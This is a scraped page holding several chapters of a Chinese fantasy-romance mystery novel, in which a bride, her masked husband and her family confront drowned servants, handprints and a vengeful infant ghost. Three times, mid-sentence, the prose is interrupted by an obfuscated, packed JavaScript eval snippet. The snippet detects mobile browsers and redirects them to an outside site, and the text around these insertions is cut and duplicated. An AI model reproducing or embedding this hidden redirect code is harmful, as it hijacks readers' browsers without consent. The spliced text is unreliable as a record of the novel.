她很清楚自己喝了酒是个什么德行,别人酒量差些的是一杯倒,她却是半杯倒,所以昨夜那半杯酒,是她故意去偷来喝的。秋莺应该也看出来了。 看看鞋子穿好了,忙站起身,先在心里来回默念了几遍“相敬如宾”,才迟疑地伸出一只手,轻拍了拍还折膝在地、矮她半身的男人的肩,十分客气地道:“有……有劳。” 她本是想说“有劳夫君”的,但“夫君”两字在舌尖滚了一圈,愣是没好意思出口。 本还打算拱个手,作个揖,将“相敬如宾”执行个彻底,奈何男人尚未起身,不大适合对他行这两个动作,于是只好作罢。 这便宜夫君虽说是自己选的,但毕竟没有感情基础,说到底,两人根本不熟!突然一下子就要同床共枕,朝夕相对起来,对于自小一个人呆惯了的独生小姑娘而言,这一开始的局促实在是在所难免。 秋莺在一旁看着,有些不忍直视地闭了闭眼。 但好在,璃音这番相敬如宾的努力,已让那位新姑爷十足得宾至如归,进入角色进入得十分顺畅。 只见他不紧不慢站起身来,长身长腿,一开口,嗓音清净,自若含笑:“应该的,娘子满意就好。” 嚯,一声娘子喊得如此顺溜。 璃音佩服地向他望去一眼。 起身站定,男人便姿态闲懒地顺手一拍衣摆,拍平了方才屈膝跪出的几道褶皱。 总之,浑身上下瞧不出一点不自在。 屋子里先前弥漫起来的淡淡尴尬,也随他这份自在云散。 秋莺心里暗松一口气:幸好幸好,小姐在这方面压根还没开窍,有些呆气,幸好姑爷看来是个会来事的。 正穿戴着衣饰,秋莺忽拿过一个精致的银质项圈道:“小姐,这长命锁还戴回来么?” 璃音见了那银锁,面有微怔,半晌,垂了眼淡声道:“不戴了。” 那是她刚出生不久的时候,阿爹为她去庙里精心打制的一副长命锁。 这银锁她从小便戴着,一日都不曾离身,直到昨日昏礼,说不符合穿着仪制,才取了下来。 其实她自小就气血旺盛,精神头足,体魄都比一般孩子强健些,别家小孩多灾多病的年纪,她一顿两碗饭,徒手能劈砖,根本用不上这种驱病防灾的东西。 但阿爹看别家孩子有,就说他的宝贝女儿也要有,欢欢喜喜去庙里打了回来,献宝似的给她戴上。 可这样把她捧在手心里宠爱的阿爹,是从什么时候开始,偷偷地变了呢? 随着她渐渐长大,她也越来越能感觉到阿爹一日日渐长的焦虑,阿娘也自府中出过那件事起,变得沉默不爱说话了。 不想再回忆这些,璃音抬眸,轻声笑道:“秋莺,你把它收起来吧,以后都不戴了。” “好,不戴了。” 秋莺最知道璃音哪种笑是在想哭的时候笑的,忙用绢帕将银锁盖了,收去了妆奁最底层,将她按去妆镜前坐好,俯身过去,小声咬起了耳朵:“今天给小姐画个婢子最拿手的妆,保准小姐一会一回头,就把姑爷迷得神魂颠倒。” 璃音被逗得脸又红了起来,这才想起初醒睁眼时,似乎看见男人正从外面回来,便一面由着秋莺给她梳头,一面也尽量从容地问起他话来:“夫君,早上去给阿爹阿娘请过安了?” 有了对方先前那一句入戏十足的“娘子”,她这一声夫君再要出口,便就顺畅多了。 “嗯。”只有一个字的回应,语调懒散,却并不敷衍,还带着点微不可察的笑意。 从镜子里,璃音可以看见男人闲闲懒懒地抱了胳膊,靠了床柱站着,没骨头一样,面具下一双漆黑的眼睛,闪着碎光,好像在定定看着秋莺为她梳妆盘发的手法。 他对女子的妆发很有兴趣? “抱歉,我本该陪你一起去的。”璃音仍是透过镜子,好奇地看他,“阿爹阿娘都和你说什么了,没为难你吧?” 诱他同谋,做下了偷梁换柱、瞒天过海的事,自然便该事事与他共同应对,不料那半杯酒的后劲比往日大了许多,竟叫自己一觉睡过了头,丢下他一个人去应付这些事。 “没有。”摇光略带戏谑的目光也透过镜子,看向了镜中的少女,“阿爹说你看着乖巧,实则性子犟,怪点子多,脾气还大,会打人的,要我往后多多包涵。” 璃音听得一口气噎住。 真是亲爹! 男人眼底的笑意映入镜中,清晰可见:“阿娘没说什么,只问了昨晚睡得怎样。” 璃音一下子紧张起来:“那你……你是怎么说的?” 若说前月在树林子里捉奸那倒霉未婚夫时,对男女之事还不甚懂,经过婚前一番图文并茂的教导,璃音这时已是大懂特懂了。 他们关心的才不是她睡得好不好呢。 所以这问题看似温和,实则才是生死攸关,她昨夜耍小聪明躲了洞房,可万万不能让爹娘发觉。 幸而她挑同谋的眼光不错,男人知道什么话不该说:“我只说一切都好,让他们放心。” 璃音不由得将视线从镜子中挪开,不再隔着镜子看他,而是直接回头望了他一眼。 脑中回想起那日在树林中,秋莺赶到时,他不动声色踹向正牌慕公子的那一脚,那样果决, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想到屋里被揶揄的还有一个人,璃音赧然回身,看着他道:“她嘴里没一句正经,你别理她说的。” 摇光轻笑着应声:“好。” 至少这个便宜夫君还算听话。 啊,不对! 璃音转念一想,方才他和秋莺一唱一和,看着没说几个字,实则也没少臊她,什么比仙子还漂亮,仔细想想,竟就是他先起的话头! 但经他俩这么一番闹腾,自己看到长命锁后就低落下去的情绪,也算是彻底又被抛了上来。 心情好了,人自然也大度,于是璃音决定不和他计较这一次。 “你……” “啊——” 璃音正欲好好和自己的便宜夫君聊上两句,却就听门外传来了秋莺足以气吞山河的一声尖叫。 “秋莺?”璃音心中一跳,起身就往门外奔。 却听砰的一声,是秋莺用背抵住了房门,不让她打开。 “小姐,别出来!” 璃音被她这严肃的口吻吓到,但她不是个莽人,秋莺不让她出去,就必有她的理由,于是只把步子停在门前,急声问道:“秋莺,我不出去,你快告诉我外面怎么了?你没事吧?” 摇光见状也收了懒散,放出神识感应过后,直起身子,迈步去了璃音身后,静静站着。 而门外的秋莺,看着院中闷头死在水缸里的男尸,用后背紧紧抵着房门,满脸惨白,哆嗦着嘴唇道:“倩夫人……是倩夫人又回来要她的孩子来了……” 124. 第123章 天生命硬 璃音一听倩夫人三字,立时沉肃了眉眼,一言不发,回身大力扯开妆奁,把先前叫秋莺收起来的长命锁一把抓了出来戴上。 少女对待自己的动作粗暴,摇光见了,提步跟去身后,替璃音将颈后没对准的暗扣搭上,一面慢条斯理地为她理出颈间被掖住的发丝,一面曼声问询:“倩夫人?” 语气和动作都过于气定神闲,在门外渐渐嘈杂起来的喧嚷声中,简直有种沙场漫步的诡异闲适。 心头涌上的冷躁莫名被他抚平,璃音垂着眼,由男人长指为自己一点点整理着发丝,沉默一息,语调听不出波澜地开了口:“是阿爹十年前纳的一房妾室,她尚在孕中时,不慎在阿娘院中落水,与腹中的儿子一块没了。” 话中隐去了不少细节,在夫人院中落水,说是不慎,但料想府中当年必有一番风言风语,没的又说是儿子,那段时间,她和夫人的日子,想必都不会太好过。 摇光半没在少女墨发中的指节微顿,璃音却浑然不觉,仿佛在说的只是别人家中的故事,漠然续声:“接下来连着两年,每逢倩夫人忌日,阿娘院中都有一个长侍,被人发现闷着头死在水缸里,捞起头一看,嘴里还都塞着一个小孩玩的拨浪鼓。” “那时我还只有六岁,也不大懂发生了什么事,只听大人们说是倩夫人的怨魂回来,向他们讨她腹中的孩子来了。然后阿爹阿娘就开始吵架,吵了几天之后,阿娘便不说话了,也是从那以后,原本很健谈的阿娘,话就突然变少了。” “到第三年,倒是没人死了,只一觉醒来,就见我床头被摁了两个血淋淋的血手印。” “血手印?”摇光感应着院中那一道鬼鬼祟祟的气息,隐在面具下的神色微动。 “嗯,血手印。”璃音点头,“于是那些大人们又都说,她是自己孩子没了,却见我娘的孩子还好好的,心中忿恚,这血手印,就是预定了早晚要来捉我的魂,报复我阿娘的。” 察觉到男人手上的动作滞住,璃音笑着回身看向了他:“吓到你了?” 拍了拍男人的肩,又向他保证道:“你放心,就算真是她来了,不管要追魂还是索命,都只是冲着我来,你与她无冤无仇,不会有事。” 说到这,又自言自语般嘟囔了一句:“不过今天九月初三,今年她的忌日早过了,秋莺在搞什么?” 探头往床头看看,确认了那里并无血手印重现,便在心里偷偷松了口气。 脸上表现得再镇定,说到底,她才只是个十六岁的凡间小姑娘,还没读完阿爹的藏书,没学完外公的针灸,没吃够聚贤坊的桂花小麻糕,没晒够春夏秋冬四季里的太阳,她还有太多太多想做的事,她的人生才刚刚开始,还没活够本,才不想被水鬼莫名其妙捉去弄死呢! 看璃音探头探脑的小动作,摇光眼里不自觉含上笑意,原来她也有这样怕死的时候,这可比她一心求死时的样子生动多了,于是笑着反过来拍了拍少女的肩:“别怕。他们说得不对。” 迎着她微怔着望过来的眼神,又轻拍了拍她头顶发心:“她的死与你无关,你与她,亦无冤仇,所以你也不会有事。” 少女闻言,又轻怔了数息,才喃喃点头道:“好像也是。” 点完头,脸上倏地现出一种古怪的神色,她飞速抬眸看了男人一眼,忽然一把将他按去了妆镜前的圆凳上,抬手摸了摸自己发心,别扭地道:“你怎么长得这样高,是小时候从不熬夜吗?” 说着别过头去,微赧着脸,小声又严肃地命令他:“以后不许从上面摸我。” 不许从上面摸她? 就因为长得比她高? 遭到了少女不满的推拒,每日都在熬夜的摇光星君默了一默,他掀起眸子看向璃音,第一次,没能说出对着她时,总习惯应的那一声“好”。 璃音却是被人看穿了心里的怕死,面上有些挂不住,说罢,转身便又奔去了门前,在门上砰砰拍了两下,十分骁勇地提声向外喊道:“秋莺,是不是水缸里又死人了?你让我出去看看,就是倩夫人来了,我也不怕她!” 自己的便宜夫君在这一点上说得倒是不错,倩夫人又不是她害死的,自己行得正坐得端,要怕什么鬼敲门! 而且,从小到大,就没哪个道士见了她,不夸一句神魂强健、邪鬼难侵的。就连阿爹给她卜算,也说从没见过这么硬的命格,要说她怕鬼,鬼怕她还差不多! 自那血手印出现,至今已有七年,还不是叫她一路平安无事地过来了。 想到这里,璃音心中升腾起一股莫名的得意来,若这七年里,果真有一缕怨魂一直想要杀她,那便是七年都不曾得手,这可就指不定是谁在折磨谁了呢! 所以,现下,比起自己,璃音更担心的是阿娘。 “阿横,你还好么,屋里可有遇上什么事?”大抵母女连心,刚想着阿娘,阿娘焦急的声音便在门外出现了。 “阿横”这个称呼,让摇光起身的动作一滞,眸色如一汪被研开的墨,陡然间黑沉了下去。 原来,他从称呼上就输了啊。 她身边所有真正亲近的人,她的阿娘,她在昆仑山上的师兄师姐,都是唤她“阿横”的。 包括月宫里的那位仙君。 “我没事,阿娘,你快让秋莺放我出去。”璃音拍着门道:“往年请到家里来的道士不都说,我天生命硬,比他们画的黄符还好用,往院子里一镇,没点修为的鬼都不敢来的。” 总之,她不需要被保护起来,反而是这个院子需要她,阿娘需要她,她非出去不可! “小姐,死人有什么好看的,那道士的话又哪能全信。”秋莺无奈,但也清楚自家小姐的倔脾气,她要出来,那这事最终的结果,就只能是让她出来。 叹一声,紧抵着房门的背脊撤开,刚开出一条门缝,璃音便迫不及待地钻出房门,扑向了自己的阿娘。 “娘,别怕,我抱着你,谁也不敢把你怎么样的。” 说着又扯过秋莺,左手搂,右手抱,豪气干云地道:“秋莺,你也别怕,我抱着你们,就是全府都被她捉了魂去,也得剩下我们三个,咱们这个家散不了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935777|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秋莺见她如此,也冷静了下来,这话听得好笑,嘴唇不发抖,便有空揶揄了:“怎么能只剩下我们三个,那老爷怎么办?” “那倩夫人是跟爹睡过,又不是跟我们睡过,所以她跟阿爹是一家人,她有什么冤情,要勾谁的魂,自去找阿爹去。左右我只和你们两个才是一家人,我管他怎么办……唔……” 大逆不道的厥词还未放完,就被一左一右两只手同时捂住,璃音委屈地“唔”了两声,忽听小院圆门处,传来一道冷肃男声:“发生何事了。” 一抬眼,果然瞧见阿爹正满脸肃容地赶来,璃音方明白了捂嘴二人的良苦用心,她默默将怀中两人搂紧了些,清了清嗓子,乖乖噤了声。 院中早已围了一大群人,七手八脚把一具男尸从水缸上扒拉了下来,拿过一块旧门板来躺着。 死在璃音院中的男人,死状一如十年前那两个长侍,身子在外,脑袋被埋脸摁在水缸里,看样子,应当是溺死的。 捞出脸来,口中塞着一个漆红的拨浪鼓,长柄直捅入喉,只余两扇鼓面在外,塞得十分粗暴。 夏侯铮一入得院中,就见到地上死状熟悉的男尸,心头一跳,当即便看向了一旁抱在一起的妻女。 他双唇微动,目中关切,似是有话想说,但最终只是默然看了一会,确认了两人无事,便将视线调转回了尸体身上。 那害人的怨魂是怀过他儿子的宠妾,而她要害的,可能是自己曾经最疼爱的女儿,面对这样的事,他能站在哪边,又能说些什么? 十年前,他痛失一妾一子,情绪当头,尚能和发妻争吵,发泄几句。然而此时此刻此地,对着那样紧紧抱在一起,却满眼警惕望着自己的妻女,关切的话,责怨的话,好像什么话都不适合开口了。 有些东西,终究是回不去了。 心里轻叹一声,夏侯铮摁了摁眉心,招来府中管家,询问:“死的是什么人?” 管家头冒冷汗,哗啦啦翻着手中一本人事调动的簿子,翻了半晌,确认道:“丁四,十九年前入府的家仆,这十年来,都在小姐院中负责洒扫……” 夏侯铮打断他,直接问了重点:“十年前,他在谁院里。” “十年前……”管家咽了口唾沫,小心翼翼地向夫人瞥去一眼,“他在夫人院中。” 果然,死的又是阿娘院中的人。 璃音没有说话,只将怀中的阿娘搂得更紧了些。 摇光看着院中男尸,忽然想到什么,上前俯下身去,摊开尸体的手掌,仔细将每根手指都翻看了一遍,问道:“他会箭术?” 尸体的指节上,有惯用弓箭而留下的厚茧,一般洒扫,茧子绝不该生在那几处地方。 管家被问得一愣,忙又低头将手中簿子翻了翻,点着头道:“对,他祖上原是猎户出身,会一些箭术。” 摇光闻言抬起头来,一双微泛着冷辉的眸子,直直地向难掩疲惫的夏侯铮望了过去,他换了个问题,缓缓地道:“倩夫人走时尚未生产,你们是如何笃定,她怀的一定是儿子的?” 125. 第124章 阿横 孩子是男是女,在没从母亲肚子里出来之前,这是没法确切知道的。 当然,民间有不少“偏方”,比方说看孕妇怀着时爱吃什么,或看她肚子是圆是尖;懂点卜算的,也可请人占卦;更有甚者,会偷偷服食“转胎丸”之类的东西,以确保自己一举得男。 但还是那句话,孩子究竟是男是女,不管用了再多偏门的法子,在没从母亲肚子里出来之前,都是说不得准的。 可璃音方才在介绍倩夫人时,说的却是:“她尚在孕中时,不慎在阿娘院中落水,与腹中的儿子一块没了。” 尚在腹中,就说是儿子了。 问出这个问题后,摇光的目光一一扫过院中众人,不出所料,不止夏侯铮,整个小院无一人答话,所有人都默契地陷入了沉默。 盛夏的清晨里,只剩下蝉鸣仍在鼓噪。 摇光视线回收,又淡淡落回了夏侯铮的脸上。 夏侯铮被他瞧得面色微沉。 这个眼神…… 这个女婿,早上过来奉茶时,分明待自己直如亲父一般,满身恭敬,乖顺有礼。 而现在,他再看向自己的眼神,是那样熟悉,带着疏离的礼节,淡漠的质询,和一点点,半遮半露、就是要他发觉的警惕。 正是这些年来,阿横看向自己时,总会出现的眼神。 多年官场识人的敏锐,让他立刻意识到,他和自己的女儿,不知何时,已然结成了同一个阵营。 而他对待自己的态度,则完全取决于女儿的态度。 而璃音呢,只是有些怔忡地看着自己的阿爹,没有心思去留意摇光的眼神。 院中所有沉寂的人中,大概只有她是真的对此事一无所知。 当年倩夫人怀胎时,她只有六岁,还太小,这些传宗接代的大事她不懂,只是懵懂地听大人们说着,说她死了一个未能出生的弟弟。 而那个弟弟,本是阿爹的希望,全府的希望。 可弟弟死了,阿爹好伤心好伤心,伤心到和阿娘吵架,伤心到自己对阿爹撒娇,说自己也可以是阿爹的希望,阿爹也只是沉默,再不来抱她了。 自那之后,她就开始变得古怪,要强,学什么都爱暗自较劲,非要压别人一头。 她变得爱听别人夸她聪明、漂亮,也确实总有人这么夸她。 可她不明白,为什么不管多少人夸她,阿爹听着也会笑,但他的眼神,总还是透着一股追怀的遗憾和落寞。 她知道,那是阿爹又想起弟弟了。 是自己还不够好吗? 她究竟输在了哪儿? 起先,璃音以为是因为爹爹爱倩夫人胜过阿娘,爱屋及乌,所以才会爱弟弟胜过自己。 可后来随着长大,她也渐渐看明白了一些事。 阿爹爱的也不是倩夫人,甚至她可以肯定,阿爹这辈子,只爱过阿娘一个女人。他渴望弟弟,只因为弟弟是他要传的宗、接的代,没有弟弟,夏侯家这一支的香火便断了。 而自己,只是一个早晚会要嫁出去的女儿罢了。 所以,无论她怎样努力,也无论她最后长成了怎样出色的大人,在阿爹心里,都是些无谓的事,她是女儿,就注定永远比不上那个甚至没能出生的弟弟。 不过,当年他们是如何默认,死掉的一定是个“弟弟”,而不是“妹妹”的,六岁的她没那个知识去怀疑,而十六岁的她,早把这当作事实接受了十年,不会再想到要去怀疑了。 直到今日,自己那便宜夫君问起,才如一记闷雷劈入脑中。 璃音低笑一声,在满院寂静中,像是唯一一个拥有正常好奇心的人一般开了口:“是啊,阿爹,你们那时是怎么知道,那女人肚子里怀着的,一定是弟弟,而不是妹妹的?” 夏侯铮被问得眸光微烁,这事显然是有文章在内,但其中内情不便宣扬,他看着自己似乎一脸天真发着问的女儿,没有回答。 倒是一旁的杨夫人忽然忆起什么,看了眼躺在门板上的丁四,又抬头看向自己的夫君,像是抓住了什么,不确定地道:“丁四……当年一起入山的,是不是就是他们三个?” 三个人,入山? 这倒是个新信息。 璃音想了想,三个人不用说,必然是指十年里陆续溺死在水缸里的三个死者,于是她看着阿爹明显怔忡起来的神色,追问道:“什么山?” 夏侯铮却只是和杨夫人一阵面面相觑,均是不语。 “杻阳山。” 摇光向着院内一处虚空掀了掀眸,一面漫不经心地起身,一面淡声替他们答了出来。 杨夫人大惊:“你……你是怎么……” “传闻杻阳山上有兽鹿蜀,佩之宜子孙。”摇光慢悠悠地将目光重新投向了夏侯铮的脸上,“所以你当年派人进山,为倩夫人猎来了鹿蜀,确保她能怀上男胎,是么?” 这语气,看似问询,实则却只是一句平淡的叙述。 尸体手指上的弓茧,满院的缄默,夫人口中支支吾吾的“入山”,还有…… 水缸后,一直怯怯窥视着院中动静的那一双眼睛。 那是一双小鹿般湿漉漉的眼睛。 一双凡人看不到的眼睛。 正是因为看不到,又因为死者皆是口中塞鼓,溺水而亡,孩子的玩具,水,这两个要素重叠,所以这么多年来,他们才会一直都自然而然地认为,杀人的,一定是那位落了水的倩夫人。 直至今日,三个当年参与捕杀鹿蜀的家仆全部死亡,他们才终于发现,这一切命案的起因,或许还有另一种可能。 杻阳山中的鹿蜀一族,可说是“转胎丸”的始祖,若能得其皮毛,啖其血肉,便可得男。 可几百年前,传说鹿蜀族中出了位大仙,自此要再猎得鹿蜀,就不再那么容易了。 高祖皇帝最是敬畏神明,便给出了明令,对于鹿蜀一族,只可供奉,不可猎杀。 可即便下了禁令,几百年来,暗地里偷偷进山猎鹿的仍是不少。 事关香火延续的大事,说出去都能理解,便是真捅到皇帝面前,多半也是睁一只眼闭一只眼,小惩即过,还真会因吃了一只鹿蜀这种事砍了谁的脑袋不成。 所以十年前,快被多年无子折磨出心魔的夏侯铮,便也暗地里点了三个会打猎功夫的家仆,掩人耳目,一路偷偷摸进了杻阳山。 打回来的鹿蜀,原本是要给杨夫人食用的,可杨夫人不肯,夫妻两个大吵一架。 吵完架后的第三天,夏侯铮纳了倩夫人进门。 毕竟鹿蜀已经剥好了皮,再不吃,可就不新鲜了。 十年来,他曾多次尝试剖析这因果,妻子不肯为他食鹿转胎的固执;长女不知接纳弟弟的不懂事;还有小倩作为母亲,失去儿子后,对他与别的女人所生的女儿的嫉妒。 思绪来回,罪孽总是被归咎在府中的三个女人身上,他却从没有一次想过,招致这因果的,会有可能是他自己! 是他因一己私欲,犯下杀孽,触怒了神明,才招致了这一切。 当年参与猎杀鹿蜀的三人都死了,那下令捕杀的自己呢? 夏侯铮面色僵白。 而此刻被女儿搂在怀中的杨夫人,默默盯视着女婿长身挺拔的侧影,心里却在担忧着与夏侯铮截然不同的另一桩事:自己这女婿,对鹿蜀求子的事了解得这样清楚,只怕也是个有执念的,这对阿横来说,可不是件好事啊。 得借机敲打一下。 于是一手反搂住女儿,一手毫不客气地戳出,指向了自己脸色白了又白的丈夫:“我那时就与你说过,莫要去招惹神明,你非不听,结果呢?十年里,算上小倩腹中的,五条人命,这不是给你的警告是什么?” 说到这,想起璃音九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948242|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁那年,床头赫然两个猩红的血手印,心中又气又怜,紧紧抱着女儿,不由得含了泪:“你们自己的报应自己受,日后阿横若是为这事牵扯进去,夏侯铮,你等着吧,就是神明不来收你,我也不会放过你!” “神明来收他们,如何不用箭来收,要把人摁水缸里,往嘴里塞小鼓?” 夏侯铮嘴上反驳得振振有词,但抬臂指向杨夫人的手,却在轻轻地颤着,显是被杨夫人这一番话气得不轻。 “你不要以为自己今日终于抓住了谁的小辫子,就又来和我吵!”他颤手指着杨夫人道:“当年小倩来你院中寻你,寻着就落了水,你说是失足,我便信你是失足,府里再多风言风语,我可真有追究过你什么!如今不过一点巧合,又听别人问了几句话,你就笃定这事出在我身上了!” 越说越气,手也抖得越发厉害了:“还要代替神明来收我,怎么收,准备谋害亲夫吗!好啊,杨茹,全世界就你最疼女儿,为女弑夫,你真是好样的!” 怎么听着还听出了几分委屈? 璃音舒服地窝在娘亲怀里,眨巴着一双眼睛,无辜地看向了正气急败坏瞪着自己的亲爹。 漂亮的眼睛微微一眨,那无辜里面,分明满是争宠获胜的小小得意:哎呀,阿娘现在就是最疼我啊,瞪我有什么用,你落到今天这地步,还不是当年阿娘最疼你爱你的时候,你非要纳妾,不知珍惜! 眨完眼,璃音抱着阿娘问道:“所以当年你和阿爹吵架时,总提到的‘转胎’,转的是那女人的胎?” 杨夫人摸着女儿的头,柔声道:“不错,当年你爹找了丁四他们三个,入山猎鹿,把猎来的鹿蜀给小倩吃了,为她转胎。” 杨夫人一下一下摸着璃音的头,摇光默默看着,再看看少女乖乖被摸、一脸满足的模样,愈发确定了:先前没应她的那句“不许从上面摸我”,确实不能应。 璃音得到了答案,蹭着阿娘的手心,便开心地笑了起来。 当年阿爹阿娘吵架时,她曾不止一次,隐约从他们口中听见过“转胎”的字眼,且总是伴随着很激烈的语气。 她听说自己出生时,在阿娘肚子里原本是横着的,这种胎位极其凶险,产婆拼了命地给阿娘揉肚子,转胎位,阿娘九死一生,生了一晚上,才总算把她给生了下来。 故而她的乳名,就叫作“阿横”。 所以,小时候的她,听到爹娘总为了“转胎”的事吵架,会以为“转胎”指的是自己,爹娘是在因为自己争吵。 后来只要爹娘一吵架,她就躲起来,有时躲在屋里,有时躲在树上,甚至有一次,她坠了一根粗麻绳,躲去了一口干枯的井里,就着被井口裁得浑圆的一小片夜空,数了一晚上的星星。 她的心里空荡荡的,就喜欢被数星星这种琐碎又无聊的小事占满,这样,她就无暇去想那些不开心的事了。 就这样,渐渐地,她开始习惯性地逃避所有刺耳的吵闹,她成了家中性子古怪的小孩。 可原来所谓的“转胎”,原来那些面红耳赤的争吵。 根本就不是因她而起! 耳边,熟悉的争吵声响起,阿爹和阿娘又互相指着对方的鼻子争执了起来。 可璃音这次就只想赖在阿娘怀里,哪里也不想躲了。 略侧过头,尚来不及收敛的笑眼,就猝不及防地对上了自己的便宜夫君。 他就一直安静地站在自己身边,一直安静地看着她吗? 不过,这家伙,又是看着不声不响的,总共就说了三两句,但鹿蜀这事,可不就是被他那三两句话给挑出来的吗。 她这林子里胡乱捡回来的便宜夫君,好像,真有点不简单。 璃音正把男人观察得起劲,全然不知在她身后的门上,两个血淋淋的红手印,就在这时,无声无息地显影,像是被一只透明的手,缓慢而仔细地摁了上去。 126. 第125章 红手印 还是管家最先瞥见了门板上的动静,看清的那一瞬间,只觉脑子里嗡的一声,头皮都要炸开! 他颤巍巍抬起一只手,指着屋门,骇然惊叫:“门……门上……” 话也说不完整,腿脚一阵阵发软,向后连退数步,直到后腰抵挨上一只水缸,才撑靠着身子,勉强立定了。 璃音循着他手指的方向,回身一望,两扇乌檀雕花木门上,一边一个,赫然多了两个猩红潮湿的血手印! 璃音想凑近些去瞧,被杨夫人和秋莺一起拽住。 “就你贼大胆,什么事都敢往上凑!”杨夫人一把将她摁回怀里。 璃音确实贼大胆,加之知道了鹿蜀那一桩事,只觉这手印也未必就是冲着自己来的了。 搞不好人家倩夫人早就安息了,从来就没有什么因妒索命,而是鹿蜀族中那位飞升的大仙,为着它族中遇害的同类复仇来了呢? 于是贼大胆便愈发大胆了,且自觉大胆得十分有理有据:“它要真有本事弄得死我,这手印早就直接摁我脸上了,何必还要装神做鬼地往门上抹。” 明明这时候还只是个凡人凡体,半点法力没有,这天不怕地不怕的胆子倒是一点没变。 摇光无声笑了笑,迈步上前,替她将门板上的两个血手印仔细看了一遍。 “不是血。”摇光抬手,修长的指骨曲起,往赤红的手印上一记轻刮,就着这个姿势,将指节凑去了鼻尖轻闻,“是用朱砂调制的颜料。” 不知想起什么,回头在璃音正殷切望着自己、等待着鉴定结果的脸上盯了好一会,才道:“是胭脂。” 杨夫人听得一愣:“胭脂?” 摇光轻轻点头。 璃音脸又热了热,所以他刚才盯了她那么久,是在看自己脸上的胭脂? 不过,知道了是胭脂,再看门上那两个一左一右,摁得还挺对称的红手印,倒是没那么森然可怖了。 但是,用胭脂涂成的“血手印”? 还挑在今天这样一个死了人,乱糟糟的日子涂抹上来。 这又是什么意思? 总不能是谁的恶作剧吧。 就在这时,身后一声惊叫,璃音回身一望,原本撑倚在水缸边好好站着的管家,身子突然像是被水缸烫着了一般,猛地向后弹起,奈何腿还软着,没了支撑,登时一个屁股蹲,摔跌在地。 他惨白着一张脸,刚颤巍巍指过屋门的手指,此刻又颤巍巍抬了起来,指向了水缸,说话时两排牙齿都在打架:“水……水缸里面……” 话又说不完整了,还总是在关键的地方断掉! 听得璃音干着急:您这副模样,谁能看不出是水缸里出事了,那水缸里到底怎么了,您倒是说呀! 眼看着缸边几个站得近的家仆,向那缸小心翼翼略一探头,俱皆面色惊变,尖声大叫着跑开,心里越发着急了。 偏她被阿娘拽在怀里,又不好凑上去看,求助的眼神不知怎么,就自然而然地飘向了正在门前站着的,自己的便宜夫君。 更不知怎么,眼色一递过去,求助就成了理所当然的使唤。 ——你怎么还在那站着,快去帮我看看呀! 那催促的小眼神里,分明就在暗示着,他作为和她同一阵线的“同伙”,理当要在这时为她排忧解难的。 摇光笑着也用眼神回了她一个“好”字,在她急切的目光中,提步走近水缸,向里面望了过去。 缸里水装得有九成满,受了管家弹开时的大力一推,里面圆圆的一小片水面,还残留着些晃晃漾漾的余韵。 如一面微澜的水镜,而在那镜面之中,在“照镜人”自己随着水纹波动的倒影之上,还另有一张惨白扭曲、鬼气骇人的圆脸,正一眨不眨地盯视着你,咧嘴龇牙,森森诡笑着。 那脸同倒映在水中的“照镜人”一般,也只是一个虚影,水面摇动,那脸影便也随之弯扭、曲折。 唯一不在动的,大概就只有他那一双充满怨毒的眼睛,拼命地向外睁着,仿佛仇视着探身向自己望来的每一个人。 摇光凝神看了一会,略侧过脸,微蹙了眉。 那样的神情,世间并不罕见,但它本不该出现在这张脸上。 在这个世上,他从未见过如此仇恨的眼神,是出现在这样一张脸上的。 好不容易有个看完没被吓得弹开的,却又只偏了头不说话,璃音心里痒得厉害,连忙问他:“怎么了?你在里面看到什么了?” 摇光抬头看了她一眼,眸光微顿,又一折,望向了另一边的夏侯铮。 这种时候被他望来可不是什么好事。 夏侯铮强装着镇定,缓缓吸了口气:“是什么?” 是落水丧子,从而恨上了自己女儿的小倩? 亦或是鹿蜀族中的那位大仙? 他闭了闭眼。 而就在这一阖眼的刹那黑寂之中,他听见了摇光微沉的嗓音。 “是一个婴儿。” 夏侯铮愣住。 除开先前几个被吓傻的,满院的人也都愣住。 只有摇光还在平静地向夏侯铮述说着:“男孩,六个月大,已经成型了。” 说罢,又补一句:“只有影子,不是活人。” 六个月大,已经成型,不是活人的男婴,又出现在这府中的,还能是谁? 脑子当然反应得过来,身体却一时半会僵住了,夏侯铮立在原地,呆怔了好一会,缓过来时,面上最先出现的神色,竟不是常人见鬼时该有的恐慌、惧怕,而是哀戚中,甚至混了一丝欣喜。 璃音将阿爹这一番神色变幻看在眼中,眸色默然微暗。 见鬼了又如何,管家会怕,家仆会怕,可夏侯铮却不怕。 那可是他的儿啊,即便在母亲肚中便夭折了,做了鬼,那也是他夏侯铮此生拥有过的、唯一的儿子啊! 他跌跌撞撞行至缸前,双手死死扒住沿边,眼眸晶亮,头一低,满怀期待地向内看去。 却不想一垂眸,蓦地里对上一双恶气滔天、阴寒诡异的黑眼,惊叫一声,虽不至摔跌在地,却也和先前那些偷看的家仆一般,飞速撤手,一下便弹开了。 